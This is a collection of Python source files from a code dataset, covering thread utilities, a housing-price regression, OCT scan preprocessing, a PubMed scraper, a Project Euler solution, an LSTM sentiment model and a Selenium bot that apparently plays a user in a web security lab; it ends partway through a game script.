formatASet({'abc', 'd', 'ef'})\n '{d,ef,abc}'\n \n \"\"\"\n return '{' + ','.join(theSet) + '}'\n\ndef formatSetOfSets(theSets):\n \"\"\"Format a set of frozensets of strings as a single string.\n\n Each frozenset of strings is formatted using utils.formatASet(),\n and the resulting strings are separated by space characters.\n\n Args:\n\n theSets (set of frozensets of str): The set of frozensets to\n be formatted.\n\n Returns: \n\n str: A string representing theSets.\n\n Example:\n >>> set1 = frozenset({'abc', 'd', 'ef'})\n >>> set2 = frozenset({'w', 'xy', 'z'})\n >>> formatSetOfSets({set1, set2})\n '{ef,abc,d} {xy,z,w}'\n\n \"\"\"\n formattedSets = [formatASet(s) for s in theSets]\n return ' '.join(formattedSets)\n\n\ndef sortByNthElement(theList, N):\n \"\"\"Sort a list of items by the Nth element of each item.\n\n Args:\n\n theList (iterable of indexable items): The list of items to be sorted.\n\n N (int): The index of the elements that should be used for the sorting.\n\n Returns: \n\n list: A new list sorted in increasing order by the Nth element of each item in theList.\n \n \"\"\"\n return sorted(theList, key=lambda x: x[N])\n\ndef killAllThreadsAndExit():\n \"\"\"Exit Python, which also kills all Python threads.\n\n This is useful for debugging and in certain other situations,\n since there is no reliable way to kill Python threads.\n\n \"\"\"\n\n # Best to flush any messages before we exit, otherwise they may\n # not be printed.\n sys.stdout.flush()\n os._exit(0)\n\nclass NonDetSolution:\n \"\"\"Manages solutions to nondeterministic programs.\n\n NonDetSolution is a class that can be used to arrange for\n nondeterministic (i.e. multithreaded) Python programs to return a\n value. For an example of how to use it, see the program\n ndContainsNANA.py, which is also explained in the book. The basic\n idea is to create a single NonDetSolution object nds to be used by\n the nondeterministic program. The nds object will be passed to\n each thread created, then nds and the list of threads will be\n passed to waitForOnePosOrAllNeg() in order to obtain the program's\n solution.\n\n \"\"\"\n\n \n printLock = threading.Lock()\n \"\"\"A static lock shared between all NonDetSolution objects -- the\n intention is that this can be used for debugging. Specifically,\n you can acquire the printLock, print some debugging information,\n then release the lock.\n\n \"\"\"\n \n def __init__(self):\n self.solution = 'no'\n \"\"\"str: Stores the solution to the problem being solved. By default,\n it has the value 'no'.\"\"\"\n \n # This lock protects access to the above solution field.\n self.solnLock = threading.Lock()\n \"\"\"threading.Lock: protects access to the above solution field\"\"\"\n \n self.done = threading.Event()\n \"\"\"threading.Event: Will be used to signal when either a positive\n solution has been found or all threads have terminated with\n negative solutions.\"\"\"\n\n\n def waitUntilDone(self):\n \"\"\"Wait until we receive the signal that a positive solution has been\n found or all threads have terminated negatively.\"\"\"\n self.done.wait()\n\n def setDone(self):\n \"\"\"Send the signal that a positive solution has been found or all\n threads have terminated negatively.\"\"\"\n self.done.set()\n\n def setSolution(self, solution):\n \"\"\"Set the solution to the given value, and signal if it's positive.\n\n This is a setter for the solution attribute. In addition, if\n the new value for the solution attribute is positive\n (i.e. anything other than the string \"no\"), we signal this\n object's event attribute, done. This will enable other threads\n to become aware that a positive solution has been found.\n\n \"\"\"\n \n # We only take action for positive solutions. If the given\n # solution is 'no', we leave the default value of 'no'\n # untouched -- and if another thread has meanwhile set the\n # solution to a positive value, we should certainly not set it\n # back to 'no' because positive solutions take precedence\n # anyway.\n if solution != 'no':\n self.solnLock.acquire()\n self.solution = solution\n self.solnLock.release()\n # Signal that a positive solution has been found.\n self.setDone()\n\n def getSolution(self):\n \"\"\"Return the stored value of the solution.\"\"\"\n self.solnLock.acquire()\n solution = self.solution\n self.solnLock.release()\n return solution\n\ndef waitForOnePosOrAllNeg(threads, nonDetSolution):\n \"\"\"Wait until one of the threads terminates positively or all terminate negatively.\n\n Each of the threads in the given list will be started. Each of\n these threads must already possess a reference to the given\n nonDetSolution instance, since this will be used to signal if and\n when a positive solution is found. When a positive solution is\n found by one of the threads, the value of that solution is\n returned. Otherwise, we wait until threads terminate and then\n return the negative solution, 'no'.\n\n Args:\n threads (list of threading.Thread): Threads that will be started.\n\n nonDetSolution (NonDetSolution): A NonDetSolution object used\n to store and manipulate the solution being computed by the\n given threads.\n\n Returns:\n str: The solution that was found.\n\n \"\"\"\n\n # check to see if the number of threads is getting too big\n maxThreads = 500\n if len(threads) + threading.active_count() > maxThreads:\n NonDetSolution.printLock.acquire()\n print('Fatal error in waitForOnePosOrAllNeg: you attempted to run more than', \n maxThreads,\n '''threads simultaneously. \nIn theory this isn't a problem, but in practice your Python\nimplementation may encounter difficulties. To avoid these potential\nproblems, all threads will now be killed.''')\n NonDetSolution.printLock.release()\n killAllThreadsAndExit()\n \n \n # start each thread\n for t in threads:\n # print('starting', t)\n t.start()\n\n # create and start yet another thread, whose job it will be to\n # detect when all the other threads have terminated\n allTerminatedThread = threading.Thread(target=waitAllTerminated, \\\n args = (threads, nonDetSolution))\n allTerminatedThread.start()\n nonDetSolution.waitUntilDone()\n return nonDetSolution.getSolution()\n \n\ndef waitAllTerminated(threads, nonDetSolution):\n \"\"\"Wait until all the given threads have terminated, then signal. \n\n When all threads have terminated, signal this fact via the\n nonDetSolution object.\n\n Args:\n threads (list of threading.Thread): Threads that will be waited for.\n\n nonDetSolution (NonDetSolution): A NonDetSolution object used\n to store and manipulate the solution being computed by the\n given threads.\n\n \"\"\"\n\n # wait for each thread to complete\n for t in threads:\n t.join()\n nonDetSolution.setDone()\n \n\n\nclass WcbcException(Exception):\n \"\"\"A simple wrapper of the standard Python Exception class.\n\n WcbcException instances are used to indicate unexpected or\n unhandled situations within the WCBC package.\n\n \"\"\"\n def __init__(self,*args,**kwargs):\n Exception.__init__(self,*args,**kwargs)\n\n\n\n################################################################################\n#### The following settings control testing and are not relevant for\n#### running \"normal\" programs that aren't tests.\n################################################################################\nVERBOSE_TESTS = True\nBRIEF_TESTS = True\nNUM_BRIEF_TESTS = 1\nTEST_TIMEOUT = 10.0\n################################################################################\n\n# tprint stands for \"test print\" -- for printing output in a test function\ndef tprint(*args, **kwargs):\n \"\"\"Print output within a test function\n\n \"tprint\" stands for \"test print\". This is a wrapper for the\n standard Python print function. It prints nothing unless\n VERBOSE_TESTS is True.\n\n \"\"\"\n \n if VERBOSE_TESTS:\n print(*args, **kwargs)\n sys.stdout.flush()\n\ndef isPrime(M):\n \"\"\"Return True if integer M is prime, and False otherwise.\n\n This is used for testing certain functions; see e.g. factor.py. A\n simple, inefficient algorithm is employed.\n\n \"\"\"\n for x in range(2,M):\n if M%x==0: return False\n return True\n","sub_path":"lab4/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":27875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"433084816","text":"from sklearn.datasets import load_boston\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\nimport numpy as np\nimport pandas as pd\n\nboston_dataset=load_boston()\n\ndata=pd.DataFrame(data=boston_dataset.data,columns=boston_dataset.feature_names)\n\nlog_prices=np.log(boston_dataset.target)\ntarget=pd.DataFrame(data=log_prices,columns=['PRICE'])\nfeatures=data.drop(['INDUS','AGE'],axis=1)\nproperty_stats=features.mean().values.reshape(1,11)\n\nfrom math import sqrt\nregr=LinearRegression().fit(features,target)\n\nfittedValues=regr.predict(features)\n\nmse=mean_squared_error(target,fittedValues)\nrmse=sqrt(mse)\n\n\ndef get_log_estimate(nr_rooms, students_per_room, next_to_river=False, high_confidence=True):\n property_stats[0][4]=nr_rooms\n property_stats[0][8]=students_per_room\n if(next_to_river):\n property_stats[0][2]=1\n\n else:\n property_stats[0][2]=0\n log_estimate=regr.predict(property_stats)[0][0]\n\n if(high_confidence):\n upper_bound=log_estimate+2*rmse\n lower_bound=log_estimate-2*rmse\n interval=95\n else:\n upper_bound=log_estimate+rmse\n lower_bound=log_estimate-rmse\n interval=68\n\n return log_estimate,upper_bound,lower_bound,interval\n\nZILLOW_MEDIAN_PRICE=583.3\n\nscale_factor=ZILLOW_MEDIAN_PRICE/np.median(boston_dataset.target)\n\ndef get_dollar_estimate(RM,PTRATIO,CHAS=True,HIGH_CONFIDENCE=True):\n\n log_est,up_est,lower_est,confidence=get_log_estimate(RM,PTRATIO,next_to_river=CHAS,high_confidence=HIGH_CONFIDENCE)\n\n dollar_est=np.e**log_est*1000*scale_factor\n dollar_lower=np.e**lower_est*1000*scale_factor\n dollar_up=np.e**up_est*1000*scale_factor\n\n rounded_est=np.around(dollar_est,-3)\n rounded_high=np.around(dollar_up,-3)\n rounded_low=np.around(dollar_lower,-3)\n\n print(f\"The estimated property value is USD {rounded_est}\")\n print(f\"At confidence {confidence}%\")\n print(f\"USD {rounded_low} at the lower end to {rounded_high} at the higher end\")\n\n return rounded_est,rounded_high,rounded_low,confidence","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"332163045","text":"'''\nFunctions and tools used in preprocessing data.\n\nCreated on Jun 22, 2018\n\n@author: jdohleman\n'''\nfrom __future__ import print_function\n\nfrom builtins import range\nimport os\nimport shutil\nimport numpy as np\nfrom shileyipp.toolbox import spectools\n\ndef find_scan_type(metadata):\n '''\n Returns the scan type for a given volume's metadata.\n \n @param metadata: The volume's metadata.\n \n @return: 'ONH48-RADIAL', 'ONH27-RC', 'CIRCLE01', 'CIRCLE01-FLEX', \n 'ONH24-RADIAL', 'H-PPOLE61', 'V-PPOLE19', '73-CUBE', or '121-CUBE'.\n '''\n \n dims = (metadata['SIZEX'], metadata['SIZEZ'], metadata['NBSCAN'])\n \n if dims == (1536, 496, 1):\n \n return \"CIRCLE01\"\n \n elif dims == (768, 496, 27):\n \n return \"ONH27-RC\"\n \n elif dims == (1024, 496, 48):\n \n return \"ONH48-RADIAL\"\n \n elif dims == (768, 496, 1):\n \n return \"CIRCLE01-FLEX\"\n \n elif dims == (1024, 496, 24):\n \n return \"ONH24-RADIAL\"\n \n elif dims == (1536, 496, 19):\n \n return \"V-PPOLE19\"\n \n elif dims == (768, 496, 61):\n \n return \"H-PPOLE61\"\n \n elif dims == (768, 496, 121):\n \n return \"121-CUBE\"\n \n elif dims == (768, 496, 73):\n \n return \"73-CUBE\"\n \n return None\n\ndef find_scan_quality_metrics(vol_data, vol_metadata, scan_type=None):\n '''\n Returns the quality metrics for a given volume via its data.\n \n @param vol_data: The volume's data.\n @param vol_metadata: The volume's metadata.\n @param scan_type: The volume's scan type, defaults to None.\n \n @return: Various (see source).\n '''\n \n B_dict = {'ONH48-RADIAL': 48, \n 'ONH24-RADIAL': 24, \n 'ONH27-RC': 27, \n 'CIRCLE01': 1, \n 'CIRCLE01-FLEX': 1}\n \n if scan_type not in list(B_dict.keys()):\n \n scan_type = find_scan_type(vol_metadata)\n \n if scan_type not in list(B_dict.keys()):\n \n return None\n \n B = B_dict[scan_type]\n \n if B == 48 or B == 24:\n \n quality_array = np.zeros((B,))\n min_quality = 50\n max_quality = 0\n \n for b in range(B):\n \n quality = int(round(vol_data['VOLUME'][b]['Quality']))\n quality_array[b] = quality\n if quality > max_quality:\n max_quality = quality\n if quality < min_quality:\n min_quality = quality\n \n mean_quality = int(round(np.mean(quality_array)))\n \n return scan_type, min_quality, max_quality, mean_quality\n \n elif B == 27:\n \n quality_array = np.zeros((B,))\n min_quality = 50\n max_quality = 0\n \n for b in range(B-3):\n \n quality = int(round(vol_data['VOLUME'][b]['Quality']))\n quality_array[b] = quality\n if quality > max_quality:\n max_quality = quality\n if quality < min_quality:\n min_quality = quality\n \n mean_quality = int(round(np.mean(quality_array)))\n \n circle_qualities = {24: int(round(vol_data['VOLUME'][24]['Quality'])), \n 25: int(round(vol_data['VOLUME'][25]['Quality'])), \n 26: int(round(vol_data['VOLUME'][26]['Quality']))}\n \n return scan_type, min_quality, max_quality, mean_quality, circle_qualities\n \n elif B == 1:\n \n quality = int(round(vol_data['VOLUME'][0]['Quality']))\n \n return scan_type, quality\n \n return None\n\ndef unify_volume_representation(vol):\n '''\n Detects whether volume is ONH or ONH-RC. If it is ONH-RC, represents it in a\n fashion similar to ONH by truncating the three circle scans and doubling up the\n radial scans.\n \n @param vol: this list is the volume data (value from key 'VOLUME') of the\n dictionary produced by passing an absolute volume path to\n spectools.readSpectralisData().\n \n @return: volume_data, the unified version of the vol data as a list; ONH, \n a boolean indicating whether the scan is ONH or ONH-RC.\n '''\n \n vol_spectralis_data = vol\n number_of_bscans = int(vol_spectralis_data['NBSCAN'])\n volume_data = vol_spectralis_data['VOLUME']\n \n if number_of_bscans == 27:\n \n ONH = False\n \n temp = [0]*48\n temp[::2] = volume_data[:24]\n temp[1::2] = volume_data[:24]\n volume_data = temp\n \n elif number_of_bscans == 48:\n \n ONH = True\n \n elif number_of_bscans == 24:\n \n ONH = True\n \n temp = [0]*48\n temp[::2] = volume_data[:24]\n temp[1::2] = volume_data[:24]\n volume_data = temp\n \n else:\n \n print('Volume file must be either ONH or ONH-RC.')\n exit()\n \n return volume_data, ONH\n\ndef double_up_Spectralis_ILM(HeILM):\n '''\n Doubles the number of bscans of the Spectralis ILM segmentation from 24 bscans \n to 48 bscans for the purpose of unifying segmentation treatment across different \n processes.\n \n @param HeILM: Spectralis ILM segmentation from 'SegArray' in the volume data.\n \n @return: ILM, the 48-bscan or \"doubled up\" Spectralis ILM segmentation.\n '''\n \n temp = [[0] * 2] * 48\n temp[::2] = np.transpose(HeILM)\n temp[1::2] = np.transpose(HeILM)\n ILM = temp\n \n return ILM\n\ndef allocate_fixed_BMOs(vols_dir, par_dir, rel_var_dir, rel_fix_dir):\n '''\n Copy the directory and file structure from var_dir to fix_dir. Replace the BMO\n segmentation of each scan subdirectory with the corresponding first-visit \n BMO segmentation for that patient ID.\n\n @param vols_dir: Absolute path to a directory containing all of the volume scans.\n @param par_dir: Absolute path to parent directory containing two subdirectories \n var_dir & fix_dir.\n @param rel_var_dir: Relative path to subdirectory of par_dir containing \n subdirectories indexed by scan ID which contain segmentation files\n that were produced using unique to the scan ID.\n @param rel_fix_dir: Relative path to a subdirectory of par_dir that will come to \n contain subdirectories indexed by scan ID which contain segmentation files\n as per the description.\n \n @return: None.\n '''\n \n #Initialize paths.\n var_dir = par_dir + rel_var_dir + '/'\n fix_dir = par_dir + rel_fix_dir + '/'\n \n #Create fixed-BMO directories and a list corresponding destination paths.\n dst_dirs = [fix_dir+d for d in os.listdir(var_dir) if os.path.isdir(var_dir+d)]\n\n for d in dst_dirs:\n if not os.path.exists(d):\n os.makedirs(d)\n \n #List of all the destination paths for the BMOs.\n dst_paths = [dst+\"/BMO.csv\" for dst in dst_dirs]\n \n list_of_entries = []\n \n #For each destination path, append a triple [patient_ID, image_ID, scan_position] \n # to a new list list_of_entries.\n for dst in dst_paths:\n \n ID = os.path.basename(os.path.split(dst)[0])\n patient_ID = ID[:6]\n image_ID = ID[9:]\n vol_path = vols_dir + ID + '.vol'\n metadata = spectools.readSpectralisMetadata(vol_path)\n scan_position = metadata['ScanPosition']\n \n list_of_entries.append([patient_ID, image_ID, scan_position])\n \n #Sort the entries by scan_position, image_ID, and finally patient_ID.\n list_of_entries.sort(key=lambda x: x[2])\n list_of_entries.sort(key=lambda x: int(x[1]))\n list_of_entries.sort(key=lambda x: x[0])\n \n #A sorted ordered list of first-visit or \"base\" BMOs as entries.\n list_of_base_BMOs_by_entry = []\n\n #A sorted ordered list of patient_ID+scan_position strings.\n list_of_base_BMOs_by_patient_ID_and_scan_position = []\n\n for entry in list_of_entries:\n \n if entry[0]+entry[2][1] not in list_of_base_BMOs_by_patient_ID_and_scan_position:\n \n list_of_base_BMOs_by_entry.append(entry)\n list_of_base_BMOs_by_patient_ID_and_scan_position.append(entry[0]+entry[2][1])\n \n print(list_of_entries)\n print(list_of_base_BMOs_by_entry)\n \n #List of all source paths for the BMOs.\n src_paths = [var_dir+src+'/BMO.csv' for src in [e[0]+'_S_'+e[1] for e in list_of_base_BMOs_by_entry]]\n \n #Open each value for each destination path.\n for dst in dst_paths:\n \n dst_ID = os.path.basename(os.path.split(dst)[0])\n dst_patient_ID = dst_ID[:6]\n dst_vol_path = vols_dir + ID + '.vol'\n dst_metadata = spectools.readSpectralisMetadata(dst_vol_path)\n dst_scan_position = dst_metadata['ScanPosition']\n \n #Open each value for each source path.\n for src in src_paths:\n \n src_ID = os.path.basename(os.path.split(src)[0])\n src_patient_ID = src_ID[:6]\n src_vol_path = vols_dir + src_ID + '.vol'\n src_metadata = spectools.readSpectralisMetadata(src_vol_path)\n src_scan_position = src_metadata['ScanPosition']\n \n #When the patient IDs and scan positions match, store the source path.\n if src_patient_ID == dst_patient_ID and src_scan_position == dst_scan_position:\n \n my_src = src\n break\n \n print(my_src)\n print(dst)\n \n #Copy the source path to the destination path.\n shutil.copy2(my_src, dst)\n \n return None\n\ndef main():\n \n return None\n\nif __name__ == \"__main__\":\n \n main()","sub_path":"src/shileyipp/datatools/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":9698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"52688971","text":"import time\nimport sys\nfrom tokenserver.tests.support import (MockCryptoWorker, PurePythonRunner,\n sign_data)\n\n\ndef timed(msg):\n def _timed(func):\n def __timed(*args, **kw):\n sys.stdout.write(msg + '...')\n sys.stdout.flush()\n start = time.time()\n try:\n return func(*args, **kw)\n finally:\n sys.stdout.write('%.4f s\\n' % (time.time() - start))\n sys.stdout.flush()\n return __timed\n return _timed\n\n\ndef job(hostname, data, runner):\n sig = sign_data(hostname, data)\n runner.check_signature(hostname=hostname, signed_data=data,\n signature=sig, algorithm=\"DS128\")\n\n\n@timed(\"one single call\")\ndef single(**kwargs):\n job(**kwargs)\n\n\nif __name__ == '__main__':\n\n kwargs = dict(runner=PurePythonRunner(MockCryptoWorker()),\n hostname='browserid.org',\n data='NOBODY EXPECTS THE SPANISH INQUISITION!')\n single(**kwargs)\n","sub_path":"loadtest/bench_worker.py","file_name":"bench_worker.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"621167541","text":"import math\r\n\r\ndef digits(inp):\r\n #return list of digits of positive integer inp\r\n goal = []\r\n while inp > 0:\r\n goal.append(inp%10)\r\n inp = int((1/10) * (inp - (inp % 10) ) )\r\n return list(reversed(goal))\r\n\r\ndef buildNumber(digits):\r\n #given a list of digits, build a number having those digits in the correct order\r\n length = len(digits)\r\n value = 0\r\n for i in range(length):\r\n value += (10 ** (length-1-i))*digits[i]\r\n return value\r\n\r\ndef cyclicPerm(l):\r\n #returns a list of all cyclic permutations of list l\r\n total = []\r\n temp = l\r\n length = len(l)\r\n for i in range(length):\r\n total.append(temp)\r\n temp = temp[1:] + [temp[0]]\r\n return total\r\n\r\ndef cyclicList(n):\r\n #produce a list of all numbers obtained by cyclically permuting the digits of n\r\n baseList = cyclicPerm(digits(n))\r\n returnList = []\r\n for i in baseList:\r\n returnList.append(buildNumber(i))\r\n return returnList\r\n\r\ndef isPrime(n):\r\n #checks if n is prime\r\n flag = True\r\n if n<2: #1 is a unit, not a prime\r\n flag = False\r\n elif n<4: #2,3 are primes and not 1 mod 6\r\n flag = True\r\n else: #for numbers 4 or more\r\n if n % 2 == 0 or n % 3 ==0: #this eliminates everything not a neighbor of 6\r\n flag = False\r\n else: #only neighbors of 6 left\r\n for i in range(2,int(math.floor(math.sqrt(n)))+1):\r\n if n % i ==0:\r\n flag = False\r\n break\r\n return flag\r\n\r\ndef isCyclicPrime(n):\r\n #check if n and all cyclic permutations of n are prime\r\n flag = True\r\n testList = cyclicList(n)\r\n for i in testList:\r\n flag *= isPrime(i)\r\n return flag\r\n\r\ndef problem35(upper):\r\n #check how many numbers satisfy it and all it's cyclic permutations are prime under upper\r\n counter = 0\r\n results = []\r\n for i in range(1,upper):\r\n counter += isCyclicPrime(i)\r\n return counter\r\n\r\nprint(problem35(1000000))\r\n","sub_path":"035.py","file_name":"035.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"298214619","text":"# coding: utf-8\n'''\nThis script get data from Pubmed API and store in MongoDB.\nhttps://www.ncbi.nlm.nih.gov/books/NBK25500/\n'''\nimport logging\nimport requests\nimport time\n\nimport models\n\nlogging.basicConfig(filename='logs/pubmedapi.info.txt', level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n# Drop Collection\n# models.Pubmedapi.drop_collection()\n\nurl = 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi'\n\nquery = models.Scielo.objects().batch_size(5)\n\nfor doc in query[1215:]:\n\n flag = 0\n\n for issn in doc['issn_list']:\n\n if flag == 0:\n\n data = {}\n\n # pubmed\n r = requests.get(\n '%s?db=%s&term=%s[journal]&retmode=json' % (url, 'pubmed', issn))\n\n docpubmed = r.json()\n\n if 'esearchresult' in docpubmed:\n if int(docpubmed['esearchresult']['count']) > 0:\n data['db_name'] = ['pubmed']\n data['pubmed_count'] = int(\n docpubmed['esearchresult']['count'])\n\n # time.sleep(1)\n\n # pmc\n r = requests.get(\n '%s?db=%s&term=%s[journal]&retmode=json' % (url, 'pmc', issn))\n\n docpmc = r.json()\n\n if 'esearchresult' in docpubmed:\n if int(docpmc['esearchresult']['count']) > 0:\n if 'pmc' not in data['db_name']:\n data['db_name'].append('pmc')\n data['pmc_count'] = int(docpmc['esearchresult']['count'])\n\n # scielo\n if 'db_name' in data:\n data['issn_list'] = [issn]\n data['scielo_id'] = str(doc.id)\n data['db_col'] = doc['collection']\n data['title_country'] = doc.title_country\n\n # save data\n if 'db_name' in data:\n mdata = models.Pubmedapi(**data)\n mdata.save()\n\n msg = 'ISSN: %s found' % (issn)\n logger.info(msg)\n print(msg)\n\n flag = 1\n else:\n msg = 'ISSN: %s not found' % (issn)\n logger.info(msg)\n print(msg)\n","sub_path":"jcatalog/transform/pubmedapi.py","file_name":"pubmedapi.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"433442389","text":"import unicodedata\nimport sys\nimport time\nimport datetime\nimport calendar\n\n\nfrom os import listdir\nfrom openpyxl import load_workbook\n\n#Value Limits\n\n#Temperature (Celsius)\ntemp_max = 45\ntemp_min = -5\n\n#Altimeter Pressao (Barometro) (mm)\npressure_max = 800\npressure_min = 700\n\n#Atmospheric Vapor Tension (mm)\nvapor_max = 35\nvapor_min = 1\n\n#Humidity (%)\nhumidity_max = 100\nhumidity_min = 0\n\n#Ozonometer (in grains)\nozone_max = 20\nozone_min = 0\n\n#Cloud Quantity (int)\ncloud_max = 25\ncloud_min = 0\n\n#Pluvimeter (mm)\npluv_max = 100\npluv_min = 0\n\n#Udometer (mm)\nudo_max = 50\nudo_min = 0\n\n#Absolute wind velocity (km)\nabso_wind_speed_max = 150\nabso_wind_speed_min = 0\n\n#\"Velocidade Horaria\"\nclock_wind_speed_max = 40\nclock_wind_speed_min = 0\n\n#Tensao Vapor (mmHg)\nHgVapor_max = 20\nHgVapor_min = -1\n\n#Insolacao Heliografo de Campbell\ninsolation_max = 1\ninsolation_min = 0\n\n#Insolacao Relativa percentagem\ninsolationPercentage_max = 100\ninsolationPercentage_min = 0\n\n#Insolacao maxima possivel (total)\ntotalInsolation_max = 18\ntotalInsolation_min = 0\n\n#Pressao (mmHg)\nHgPressure_max = 70\nHgPressure_min = 10\n\n\n","sub_path":"Dados_Sec_XX_XXI/ConfigLimits.py","file_name":"ConfigLimits.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"596558039","text":"def evaluate(labels, predicted_labels, need_print=False):\n size = len(labels)\n err = 0\n predicted_positive = 0\n total_positive = 0\n true_positive = 0\n for i in range(size):\n if labels[i]:\n total_positive += 1\n if predicted_labels[i]:\n predicted_positive += 1\n if labels[i]:\n true_positive += 1\n if labels[i] != predicted_labels[i]:\n err += 1\n accuracy = (size - err) / size\n precision = 0 if true_positive == 0 else (true_positive / predicted_positive)\n recall = 0 if true_positive == 0 else (true_positive / total_positive)\n f1 = 0 if true_positive == 0 else (2 * precision * recall / (precision + recall))\n if need_print:\n print('Accuracy: %f' % accuracy)\n print('Precision: %f' % precision)\n print('Recall: %f' % recall)\n print('F-1 score: %f' % f1)\n\n\n return accuracy, precision, recall, f1\n","sub_path":"src/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"94246170","text":"import tensorflow as tf\nimport numpy as np\nimport os\nfrom pyvi import ViTokenizer as vtk\n# Removes punctuation, parentheses, question marks, etc., and leaves only alphanumeric characters\nimport re\nstrip_special_chars = re.compile('[^\\w0-9 ]+')\n\nclass RNNLSTM():\n words_list = np.load(os.path.join('thinkable/data_ml/rnn_lstm', 'wordsList.npy'))\n words_list = words_list.tolist()\n word_vectors = np.load(os.path.join('thinkable/data_ml/rnn_lstm', 'wordVectors.npy'))\n word_vectors = np.float32(word_vectors)\n\n def __init__(self):\n self.unk_idx = self.words_list.index('UNK')\n\n tf.reset_default_graph()\n\n self.max_seq_length = 180\n self.lstm_units = 128\n self.num_classes = 2\n self.RNN_layers = 2\n self.inputs = tf.placeholder(tf.int32, (None, self.max_seq_length))\n self.data = tf.nn.embedding_lookup(self.word_vectors, self.inputs)\n layers = []\n for _ in range(self.RNN_layers):\n layers.append(self.generate_a_lstm_layer())\n self.stacked_rnn = tf.nn.rnn_cell.MultiRNNCell(layers)\n self.outputs, self.state = tf.nn.dynamic_rnn(cell=self.stacked_rnn, inputs=self.data, dtype=tf.float32)\n self.weight = tf.Variable(tf.truncated_normal([self.lstm_units, self.num_classes]))\n self.bias = tf.Variable(tf.constant(0.1, shape=[self.num_classes]))\n self.outputs = tf.transpose(self.outputs, [1, 0, 2])\n self.last = tf.gather(self.outputs, int(self.outputs.get_shape()[0]) - 1)\n self.prediction = (tf.matmul(self.last, self.weight) + self.bias)\n\n self.prediction_probability = tf.nn.softmax(logits=self.prediction, axis=1)\n\n self.sess = tf.InteractiveSession()\n self.saver = tf.train.Saver()\n self.saver.restore(self.sess, tf.train.latest_checkpoint(os.path.join('thinkable/data_ml/rnn_lstm', 'model_lstm')))\n\n def clean_sentences(self, string):\n string = string.lower().replace(\"\\n\", \" \")\n return re.sub(strip_special_chars, \"\", string.lower())\n\n def generate_a_lstm_layer(self):\n lstm_cell = tf.nn.rnn_cell.BasicLSTMCell(num_units=self.lstm_units)\n return tf.contrib.rnn.DropoutWrapper(cell=lstm_cell, output_keep_prob=0.75)\n\n def segment_word(self, l_words):\n return vtk.tokenize(u''+l_words)\n\n def predict_sentiment(self, sentence):\n sentence = self.clean_sentences(sentence)\n l_words = self.segment_word(sentence).split()\n pred_data = np.zeros((1, self.max_seq_length))\n word_counter = 0\n unk_words = []\n for word in l_words:\n if word in self.words_list:\n pred_data[0][word_counter] = self.words_list.index(word)\n else:\n pred_data[0][word_counter] = self.unk_idx\n unk_words.append(word)\n word_counter += 1\n if word_counter >= self.max_seq_length:\n break\n pred = self.sess.run(self.prediction_probability, feed_dict={self.inputs: pred_data})\n self.sess.close()\n return pred[0], unk_words, l_words\n","sub_path":"thinkable/data_ml/rnn_lstm/sentiment_analysis.py","file_name":"sentiment_analysis.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"471644323","text":"from selenium import webdriver\nimport time\nimport sys\nimport threading\n\nclass danThread(threading.Thread):\n def __init__(self, ip):\n super().__init__()\n self.ip = ip\n self.name = \"Dan\"\n self.running = False\n\n def run(self):\n self.running = True\n\n profile = webdriver.FirefoxProfile()\n profile.set_preference(\"general.useragent.override\", \"bot\")\n self.browser = webdriver.Firefox(profile)\n\n while self.running:\n self.browser.get(self.ip)\n self.sleep(4)\n\n # Log in\n self.browser.get(self.ip + \"login.php\")\n self.sleep(1)\n self.browser.find_element_by_id(\"username\").send_keys(\"Dan\")\n self.sleep(1)\n self.browser.find_element_by_id(\"password\").send_keys(\"<dan-password>\")\n self.sleep(1)\n self.browser.find_element_by_id(\"login\").click()\n self.sleep(1)\n\n # View profile, enable images\n self.browser.get(self.ip + \"profile.php\")\n self.browser.execute_script(\"window.scrollTo(0,document.body.scrollHeight);\")\n self.sleep(2)\n self.browser.find_element_by_id(\"script_en\").click()\n self.sleep(2)\n self.browser.find_element_by_id(\"changeoptions\").click()\n self.sleep(1)\n self.browser.execute_script(\"window.scrollTo(0,document.body.scrollHeight);\")\n self.sleep(10)\n self.browser.execute_script(\"window.scrollTo(document.body.scrollHeight,0);\")\n self.sleep(1)\n self.browser.get(self.ip + \"logout.php\")\n\n self.browser.quit()\n\n def sleep(self, length):\n # allows near-instant interruption\n for _ in range(length):\n if self.running:\n time.sleep(1)\n\n def stop(self):\n self.running = False\n","sub_path":"Source/web-pen-2/bots/dan.py","file_name":"dan.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"411728817","text":"import asyncio\nfrom tools.curses_tools import draw_frame, get_frame_size\nfrom tools.game_scenario import space_globals\n\n\ngame_оver = '''\n _____ ____ \n / ____| / __ \\ \n | | __ __ _ _ __ ___ ___ | | | |_ _____ _ __ \n | | |_ |/ _` | '_ ` _ \\ / _ \\ | | | \\ \\ / / _ \\ '__|\n | |__| | (_| | | | | | | __/ | |__| |\\ V / __/ | \n \\_____|\\__,_|_| |_| |_|\\___| \\____/ \\_/ \\___|_| \n'''\n\n\nasync def show_gameover(canvas):\n ''' Отрисовать game over в 